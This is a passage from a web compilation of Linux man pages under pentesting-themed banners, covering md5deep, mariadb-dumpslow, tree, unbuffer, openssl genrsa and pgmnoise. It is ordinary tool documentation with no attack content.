Display a timestamp in GMT with each result. On Windows this timestamp will be the file’s creation time. On all other systems it should be the file’s change time.

-n
During any of the matching modes (-m,-M,-x,or -X), displays only the filenames of any known hashes that were not matched by any of the input files.

-s
Enables silent mode. All error messages are suppressed.

-S
Like silent mode, but still displays warnings on improperly formatted hashes in the list of known hashes.

-z
Enables file size mode. Prepends the hash with a ten digit representation of the size of each file processed. If the file size is greater than 9999999999 bytes (about 9.3GB) the program displays 9999999999 for the size.

-q
Quiet mode. File names are omitted from the output. Each hash is still followed by two spaces before the newline.

-Z
Produces output in Triage format. Each line contains the file’s size, a tab, a hash of the first 512 bytes, a tab, the hash of the complete file, a tab, and the file name. These values are intended in increasing order of specificity. That is, two files with different sizes cannot possibly match. This is a fast comparison and should be done first. Next, two files with different partial hashes cannot possibly match. This is often faster than hashing the whole file. Finally, if those two pieces align, then it’s worth reading and hashing the entire file.

-0
Uses a NULL character (/0) to terminate each line instead of a newline. Useful for processing filenames with strange characters.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-k
Enables asterisk mode. An asterisk is inserted in lieu of a second space between the filename and the hash, just like md5sum in its binary (-b) mode.

-c
Enables comma separated values output, or CSV mode. This mode has the side effect of removing the 10 digit size limitation from -z mode. Also note that asterisks from -k mode are not displayed when in CSV mode.

-o <bcpflsd>
Enables expert mode. Allows the user specify which (and only which) types of files are processed. Directory processing is still controlled with the -r flag. The expert mode options allowed are:
f - Regular files
b - Block Devices
c - Character Devices
p - Named Pipes
l - Symbolic Links
s - Sockets
d - Solaris Doors
e - Windows PE executables

-jnn
Controls multi-threading. By default the program will create one producer thread to scan the file system and one hashing thread per CPU core. Multi-threading causes output filenames to be in non-deterministic order, as files that take longer to hash will be delayed while they are hashed. If a deterministic order is required, specify -j0 to disable multi-threading

-d
Output in Digital Forensics XML (DFXML) format.

-u
Quote Unicode output. For example, the snowman is shown as U+C426.

-F<bum>
Specifies the input mode that is used to read files. The default is -Fb (buffered I/O) which reads files with fopen(). Specifying -Fu will use unbuffered I/O and read the file with open(). Specifying -Fm will use memory-mapped I/O which will be faster on some platforms, but which (currently) will not work with files that produce I/O errors.

-h
Show a help screen and exit.

-v
Show the version number and exit.

-V
Show copyright information and exit.

UNICODE SUPPORT

As of version 3.0 the program supports Unicode characters in filenames on Microsoft Windows systems for filenames specified on the command line with globbing (e.g. *), for files specified with the -f of files to hash, and for files read from directories using the -r option.

By default all program input and output should be in UTF-8. The program automatically converts this to UTF-16 for opening files).

On Unix/Linux/MacOS, you should use a terminal emulator that supports UTF-8 and UTF-8 characters in filenames will be properly displayed.

On Windows, the programs do not display Unicode characters on the console. You must either redirect output to a file and open the file with Wordpad (which can display Unicode), or you must specify the -u option to quote Unicode using standard U+XXXX notation.

Currently the file name of a file containing known hashes may not be specified as a unicode filename, but you can specify the name using tab completion or an asterisk (e.g. md5deep -m *.txt where there is only one file with a .txt extension).

RETURN VALUE

Returns a bit-wise value based on the success of the operation and the status of any matching operations.

0
Success. Note that the program considers itself successful even when it encounters read errors, permission denied errors, or finds directories when not in recursive mode.

1
Unused hashes. Under any of the matching modes, returns this value if one or more of the known hashes was not matched by any of the input files.

2
Unmatched inputs. Under any of the matching modes, returns this value if one or more of the input values did not match any of the known hashes.

64
User error, such as trying to do both positive and negative matching at the same time.

128
Internal error, such as memory corruption or uncaught cycle. All internal errors should be reported to the developer! See the section “Reporting Bugs” below.

AUTHOR

md5deep was written by Jesse Kornblum, [email protected] and Simson Garfinkel.

KNOWN ISSUES

Using the -r flag cannot be used to recursively process all files of a given extension in a directory. This is a feature, not a bug. If you need to do this, use the find(1) command.

REPORTING BUGS

We take all bug reports very seriously. Any bug that jeopardizes the forensic integrity of this program could have serious consequences on people’s lives. When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to the author at the address above.

COPYRIGHT

This program is a work of the US Government. In accordance with 17 USC 105, copyright protection is not available for any work of the US Government. This program is PUBLIC DOMAIN. Portions of this program contain code that is licensed under the terms of the General Public License (GPL). Those portions retain their original copyright and license. See the file COPYING for more details.

There is NO warranty for this program; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information and installation instructions can be found in the README file. Current versions of both documents can be found on the project homepage: http://md5deep.sourceforge.net/

The MD5 specification, RFC 1321, is available at
http://www.ietf.org/rfc/rfc1321.txt

The SHA-1 specification, RFC 3174, is available at
http://www.faqs.org/rfcs/rfc3174.html

The SHA-256 specification, FIPS 180-2, is available at
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf

The SHA-3-256 specification is available at
http://keccak.noekeon.org/

The Tiger specification is available at
http://www.cs.technion.ac.il/~biham/Reports/Tiger/

The Whirlpool specification is available at
http://planeta.terra.com.br/informatica/paulobarreto/WhirlpoolPage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

392 - Linux cli command mariadb-dumpslow

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-dumpslow and provides detailed information about the command mariadb-dumpslow, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-dumpslow.

NAME 🖥️ mariadb-dumpslow 🖥️

dumpslow - Summarize slow query log files (mysqldumpslow is now a symlink to mariadb-dumpslow)

SYNOPSIS

**mysqldumpslow [options] [**log_file …]

DESCRIPTION

The MariaDB slow query log contains information about queries that take a long time to execute. mysqldumpslow parses MariaDB slow query log files and prints a summary of their contents.

Normally, mysqldumpslow groups queries that are similar except for the particular values of number and string data values. It “abstracts” these values to N and ‘S’ when displaying summary output. The -a and -n options can be used to modify value abstracting behavior.

Invoke mysqldumpslow like this:

shell> mysqldumpslow [options] [log_file …]

mysqldumpslow supports the following options.

·

–help

Display a help message and exit.

·

-a

Do not abstract all numbers to N and strings to ‘S’.

·

–debug, -d

Run in debug mode.

·

-g pattern

Consider only queries that match the (grep-style) pattern.

·

-h host_name

Host name of MariaDB server for *-slow.log file name. The value can contain a wildcard. The default is * (match all).

·

-i name

Name of server instance (if using mysql.server startup script).

·

-l

Do not subtract lock time from total time.

·

-n N

Abstract numbers with at least N digits within names.

·

-r

Reverse the sort order.

·

-s sort_type

How to sort the output. The value of sort_type should be chosen from the following list:

·

t, aa: Sort by rows affected or average rows affected

·

l, ae: Sort by rows examined or aggregate rows examined

·

l, at: Sort by query time or average query time

·

l, al: Sort by lock time or average lock time

·

s, as: Sort by rows sent or average rows sent

·

c: Sort by count

·

-t N

Display only the first N queries in the output.

·

–verbose, -v

Verbose mode. Print more information about what the program does.

Example of usage:

shell> mysqldumpslow Reading mysql slow query log from /usr/local/mysql/data/mysqld51-apple-slow.log Count: 1 Time=4.32s (4s) Lock=0.00s (0s) Rows=0.0 (0), root[root]@localhost insert into t2 select * from t1 Count: 3 Time=2.53s (7s) Lock=0.00s (0s) Rows=0.0 (0), root[root]@localhost insert into t2 select * from t1 limit N Count: 3 Time=2.13s (6s) Lock=0.00s (0s) Rows=0.0 (0), root[root]@localhost insert into t1 select * from t1

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

393 - Linux cli command tree

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tree and provides detailed information about the command tree, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tree.

NAME 🖥️ tree 🖥️

list contents of directories in a tree-like format.

SYNOPSIS

tree [-acdfghilnpqrstuvxACDFJQNSUX] [-L level [-R]] [-H baseHREF] [-T title] [-o filename] [-P pattern] [-I pattern] [–gitignore] [–gitfile[=]file] [–matchdirs] [–metafirst] [–ignore-case] [–nolinks] [–hintro[=]file] [–houtro[=]file] [–inodes] [–device] [–sort[=]name] [–dirsfirst] [–filesfirst] [–filelimit #] [–si] [–du] [–prune] [–charset[=]X] [–timefmt[=]format] [–fromfile] [–fromtabfile] [–fflinks] [–info] [–infofile[=]file] [–noreport] [–version] [–help] [**–] [**directory …]

DESCRIPTION

Tree is a recursive directory listing program that produces a depth indented listing of files, which is colorized ala dircolors if the LS_COLORS environment variable is set and output is to tty. With no arguments, tree lists the files in the current directory. When directory arguments are given, tree lists all the files and/or directories found in the given directories each in turn. Upon completion of listing all files/directories found, tree returns the total number of files and/or directories listed.

By default, when a symbolic link is encountered, the path that the symbolic link refers to is printed after the name of the link in the format:

name -> real-path

If the `-l’ option is given and the symbolic link refers to an actual directory, then tree will follow the path of the symbolic link as if it were a real directory.

OPTIONS

Tree understands the following command line switches:

LISTING OPTIONS

-a
All files are printed. By default tree does not print hidden files (those beginning with a dot `.’). In no event does tree print the file system constructs `.’ (current directory) and `..’ (previous directory).

-d
List directories only.

-l
Follows symbolic links if they point to directories, as if they were directories. Symbolic links that will result in recursion are avoided when detected.

-f
Prints the full path prefix for each file.

-x
Stay on the current file-system only. Ala find -xdev**.**

-L level
Max display depth of the directory tree.

-R
Recursively cross down the tree each level directories (see -L option), and at each level outputting to a file named 00Tree.html (ala -o).

-P pattern
List only those files that match the wild-card pattern**. You may have** multiple -P options. Note: you must use the -a option to also consider those files beginning with a dot `.’ for matching. Valid wildcard operators are `*’ (any zero or more characters), `**` (any zero or more characters as well as null /’s, i.e. /**/ may match a single /), `?’ (any single character), `[…]’ (any single character listed between brackets (optional - (dash) for character range may be used: ex: [A-Z]), and `[^…]’ (any single character not listed in brackets) and `|’ separates alternate patterns. A ‘/’ at the end of the pattern matches directories, but not files.

-I pattern
Do not list those files that match the wild-card pattern**. You may have** multiple -I options. See -P above for information on wildcard patterns.

–gitignore
Uses git .gitignore files for filtering files and directories. Also uses $GIT_DIR/info/exclude if present.

–gitfile[=]file
Use file explicitly as a gitignore file.

–ignore-case
If a match pattern is specified by the -P or -I option, this will cause the pattern to match without regard to the case of each letter.

–matchdirs
If a match pattern is specified by the -P option, this will cause the pattern to be applied to directory names (in addition to filenames). In the event of a match on the directory name, matching is disabled for the directory’s contents. If the –prune option is used, empty folders that match the pattern will not be pruned.

–metafirst
Print the meta-data information at the beginning of the line rather than after the indentation lines.

–prune
Makes tree prune empty directories from the output, useful when used in conjunction with -P or -I. See BUGS AND NOTES below for more information on this option.

–info
Prints file comments found in .info files. See .INFO FILES below for more information on the format of .info files.

–infofile[=]file
Use file explicitly as a info file.

–noreport
Omits printing of the file and directory report at the end of the tree listing.

–charset[=]charset
Set the character set to use when outputting HTML and for line drawing.

–filelimit[=]#
Do not descend directories that contain more than # entries.

–timefmt[=]format
Prints (implies -D) and formats the date according to the format string which uses the strftime(3) syntax.

-o filename
Send output to filename.

FILE OPTIONS

-q
Print non-printable characters in filenames as question marks instead of the default.

-N
Print non-printable characters as is instead of as escaped octal numbers.

-Q
Quote the names of files in double quotes.

-p
Print the file type and permissions for each file (as per ls -l).

-u
Print the username, or UID # if no username is available, of the file.

-g
Print the group name, or GID # if no group name is available, of the file.

-s
Print the size of each file in bytes along with the name.

-h
Print the size of each file but in a more human readable way, e.g. appending a size letter for kilobytes (K), megabytes (M), gigabytes (G), terabytes (T), petabytes (P) and exabytes (E).

–si
Like -h but use SI units (powers of 1000) instead.

–du
For each directory report its size as the accumulation of sizes of all its files and sub-directories (and their files, and so on). The total amount of used space is also given in the final report (like the ‘du -c’ command.) This option requires tree to read the entire directory tree before emitting it, see BUGS AND NOTES below. Implies -s.

-D
Print the date of the last modification time or if -c is used, the last status change time for the file listed.

-F
Append a `/’ for directories, a `=’ for socket files, a `*’ for executable files, a `>’ for doors (Solaris) and a `|’ for FIFO’s, as per ls -F

–inodes
Prints the inode number of the file or directory

–device
Prints the device number to which the file or directory belongs

SORTING OPTIONS

-v
Sort the output by version.

-t
Sort the output by last modification time instead of alphabetically.

-c
Sort the output by last status change instead of alphabetically. Modifies the -D option (if used) to print the last status change instead of modification time.

-U
Do not sort. Lists files in directory order. Disables –dirsfirst.

-r
Sort the output in reverse order. This is a meta-sort that alter the above sorts. This option is disabled when -U is used.

–dirsfirst
List directories before files. This is a meta-sort that alters the above sorts. This option is disabled when -U is used.

–filesfirst
List files before directories. This is a meta-sort that alters the above sorts. This option is disabled when -U is used.

–sort[=]type
Sort the output by type instead of name. Possible values are: ctime (-c), mtime (-t), size, or version (-v).

GRAPHICS OPTIONS

-i
Makes tree not print the indentation lines, useful when used in conjunction with the -f option. Also removes as much whitespace as possible when used with the -J or -X options.

-A
Turn on ANSI line graphics hack when printing the indentation lines.

-S
Turn on CP437 line graphics (useful when using Linux console mode fonts). This option is now equivalent to `–charset=IBM437’ and may eventually be depreciated.

-n
Turn colorization off always, over-ridden by the -C option, however overrides CLICOLOR_FORCE if present.

-C
Turn colorization on always, using built-in color defaults if the LS_COLORS or TREE_COLORS environment variables are not set. Useful to colorize output to a pipe.

XML/JSON/HTML OPTIONS

-X
Turn on XML output. Outputs the directory tree as an XML formatted file.

-J
Turn on JSON output. Outputs the directory tree as a JSON formatted array.

-H baseHREF
Turn on HTML output, including HTTP references. Useful for ftp sites. baseHREF gives the base ftp location when using HTML output. That is, the local directory may be `/local/ftp/pub’, but it must be referenced as `ftp://hostname.organization.domain/pub’ (baseHREF should be `ftp://hostname.organization.domain’). Hint: don’t use ANSI lines with this option, and don’t give more than one directory in the directory list. If you wish to use colors via CSS style-sheet, use the -C option in addition to this option to force color output.

–hintro[=]file
Use file as the HTML intro in place of the default one. Use an empty file or /dev/null to eliminate the intro altogether.

–houtro[=]file
Use file as the HTML outro in place of the default one. Use an empty file or /dev/null to eliminate the outro altogether.

-T title
Sets the title and H1 header string in HTML output mode.

–nolinks
Turns off hyperlinks in HTML output.

INPUT OPTIONS

–fromfile
Reads a directory listing from a file rather than the file-system. Paths provided on the command line are files to read from rather than directories to search. The dot (.) directory indicates that tree should read paths from standard input. NOTE: this is only suitable for reading the output of a program such as find, not ’tree -fi’ as symlinks are not distinguished from files that simply contain ’ -> ’ as part of the filename unless the –fflinks option is used.

–fromtabfile
Like –fromfile, tree reads a directory tree from a text file where the files are tab indented in a tree like format to indicate the directory nesting level.

–fflinks
Processes symbolic link information found in a file, as from the output of ’tree -fi –noreport’. Only the first occurrence of the string ’ -> ‘ is used to denote the separation of the filename from the link.

MISC OPTIONS

–help
Outputs a verbose usage listing.

–version
Outputs the version of tree.


Option processing terminator. No further options will be processed after this.

.INFO FILES

.info files are similar to .gitignore files, if a .info file is found while scanning a directory it is read and added to a stack of .info information. Each file is composed of comments (lines starting with hash marks (#),) or wild-card patterns which may match a file relative to the directory the .info file is found in. If a file should match a pattern, the tab indented comment that follows the pattern is used as the file comment. A comment is terminated by a non-tab indented line. Multiple patterns, each to a line, may share the same comment.

FILES

/etc/DIR_COLORS System color database.
~/.dircolors Users color database.
.gitignore Git exclusion file
$GIT_DIR/info/exclude Global git file exclusion list
.info File comment file
/usr/share/finfo/global_info Global file comment file

ENVIRONMENT

LS_COLORS Color information created by dircolors
TREE_COLORS Uses this for color information over LS_COLORS if it is set.
TREE_CHARSET Character set for tree to use in HTML mode.
CLICOLOR Enables colorization even if TREE_COLORS or LS_COLORS is not set.
CLICOLOR_FORCE Always enables colorization (effectively -C)
NO_COLOR Disable colorization (effectively -n) (see https://no-color.org/)
LC_CTYPE Locale for filename output.
LC_TIME Locale for timefmt output, see strftime(3).
TZ Timezone for timefmt output, see strftime(3).
STDDATA_FD Enable the stddata feature, optionally set descriptor to use.

AUTHOR

Steve Baker ([email protected])
HTML output hacked by Francesc Rocher ([email protected])
Charsets and OS/2 support by Kyosuke Tokoro ([email protected])

BUGS AND NOTES

Tree does not prune “empty” directories when the -P and -I options are used by default. Use the –prune option.

The -h and –si options round to the nearest whole number unlike the ls implementations which rounds up always.

Pruning files and directories with the -I, -P and –filelimit options will lead to incorrect file/directory count reports.

The –prune and –du options cause tree to accumulate the entire tree in memory before emitting it. For large directory trees this can cause a significant delay in output and the use of large amounts of memory.

The timefmt expansion buffer is limited to a ridiculously large 255 characters. Output of time strings longer than this will be undefined, but are guaranteed to not exceed 255 characters.

XML/JSON trees are not colored, which is a bit of a shame.

Probably more.

As of version 2.0.0, in Linux, tree will attempt to automatically output a compact JSON tree on file descriptor 3 (what I call stddata,) if present and the environment variable STDDATA_FD is defined or set to a positive non-zero file descriptor value to use to output on. It is hoped that some day a better Linux/Unix shell may take advantage of this feature, though BSON would probably be a better format for this.

SEE ALSO

dircolors(1), ls(1), find(1), du(1), strftime(3) gitignore(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

394 - Linux cli command unbuffer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unbuffer and provides detailed information about the command unbuffer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unbuffer.

NAME 🖥️ unbuffer 🖥️

unbuffer output

SYNOPSIS

unbuffer program [ args ]

INTRODUCTION

unbuffer disables the output buffering that occurs when program output is redirected from non-interactive programs. For example, suppose you are watching the output from a fifo by running it through od and then more.

	od -c /tmp/fifo | more

You will not see anything until a full page of output has been produced.

You can disable this automatic buffering as follows:

	unbuffer od -c /tmp/fifo | more

Normally, unbuffer does not read from stdin. This simplifies use of unbuffer in some situations. To use unbuffer in a pipeline, use the -p flag. Example:

        process1 | unbuffer -p process2 | process3

CAVEATS

unbuffer -p may appear to work incorrectly if a process feeding input to unbuffer exits. Consider:

        process1 | unbuffer -p process2 | process3

If process1 exits, process2 may not yet have finished. It is impossible for unbuffer to know long to wait for process2 and process2 may not ever finish, for example, if it is a filter. For expediency, unbuffer simply exits when it encounters an EOF from either its input or process2.

In order to have a version of unbuffer that worked in all situations, an oracle would be necessary. If you want an application-specific solution, workarounds or hand-coded Expect may be more suitable. For example, the following example shows how to allow grep to finish processing when the cat before it finishes first. Using cat to feed grep would never require unbuffer in real life. It is merely a placeholder for some imaginary process that may or may not finish. Similarly, the final cat at the end of the pipeline is also a placeholder for another process.

$ cat /tmp/abcdef.log | grep abc | cat
abcdef
xxxabc defxxx
$ cat /tmp/abcdef.log | unbuffer grep abc | cat
$ (cat /tmp/abcdef.log ; sleep 1) | unbuffer grep abc | cat
abcdef
xxxabc defxxx
$ 

BUGS

The man page is longer than the program.

SEE ALSO

“Exploring Expect: A Tcl-Based Toolkit for Automating Interactive Programs” by Don Libes, O’Reilly and Associates, January 1995.

AUTHOR

Don Libes, National Institute of Standards and Technology

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

395 - Linux cli command openssl-genrsassl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-genrsassl and provides detailed information about the command openssl-genrsassl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-genrsassl.

NAME 🖥️ openssl-genrsassl 🖥️

genrsa - generate an RSA private key

SYNOPSIS

openssl genrsa [-help] [-out filename] [-passout arg] [-aes128] [-aes192] [-aes256] [-aria128] [-aria192] [-aria256] [-camellia128] [-camellia192] [-camellia256] [-des] [-des3] [-idea] [-F4] [-f4] [-3] [-primes num] [-verbose] [-quiet] [-traditional] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [numbits]

DESCRIPTION

This command generates an RSA private key.

OPTIONS

-help
Print out a usage message.

-out filename
Output the key to the specified file. If this argument is not specified then standard output is used.

-passout arg
The output file password source. For more information about the format see openssl-passphrase-options (1).

-aes128, -aes192, -aes256, -aria128, -aria192, -aria256, -camellia128, -camellia192, -camellia256, -des, -des3, -idea
These options encrypt the private key with specified cipher before outputting it. If none of these options is specified no encryption is used. If encryption is used a pass phrase is prompted for if it is not supplied via the -passout argument.

-F4, -f4, -3
The public exponent to use, either 65537 or 3. The default is 65537. The -3 option has been deprecated.

-primes num
Specify the number of primes to use while generating the RSA key. The num parameter must be a positive integer that is greater than 1 and less than 16. If num is greater than 2, then the generated key is called a ‘multi-prime’ RSA key, which is defined in RFC 8017.

-verbose
Print extra details about the operations being performed.

-quiet
Print fewer details about the operations being performed, which may be handy during batch scripts and pipelines.

-traditional
Write the key using the traditional PKCS#1 format instead of the PKCS#8 format.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

numbits
The size of the private key to generate in bits. This must be the last option specified. The default is 2048 and values less than 512 are not allowed.

NOTES

RSA private key generation essentially involves the generation of two or more prime numbers. When generating a private key various symbols will be output to indicate the progress of the generation. A . represents each number which has passed an initial sieve test, + means a number has passed a single round of the Miller-Rabin primality test, * means the current prime starts a regenerating progress due to some failed tests. A newline means that the number has passed all the prime tests (the actual number depends on the key size).

Because key generation is a random process the time taken to generate a key may vary somewhat. But in general, more primes lead to less generation time of a key.

SEE ALSO

openssl (1), openssl-genpkey (1), openssl-gendsa (1)

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

396 - Linux cli command pgmnoise

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmnoise and provides detailed information about the command pgmnoise, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmnoise.

.

NAME 🖥️ pgmnoise 🖥️

create a PGM image made up of white noise

SYNOPSIS

pgmnoise width height

[**-maxval=n] [-randomseed=**integer]

Minimum unique abbreviations of option are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pgmnoise creates a PGM image that is made up of pixels of random brightness.

You specify the dimensions of the image with the width and height arguments.

The randomness in the image is limited before Netpbm 10.37 (December 2006) – if you run the program twice in the same second, you may get identical output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmnoise recognizes the following command line options:

**-maxval=**n
The maxval of the generated image.

Default is 255.

This option was new in Netpbm 10.63 (June 2013).

**-randomseed=**integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

By default, pgmnoise uses a seed derived from the time of day and process ID, which gives you fairly uncorrelated results in multiple invocations.

This option was new in Netpbm 10.45 (December 2008).

SEE ALSO

  • pbmnoise(1)

  • pgm(1)

AUTHOR

Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmnoise.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

397 - Linux cli command python-argcomplete-check-easy-install-script

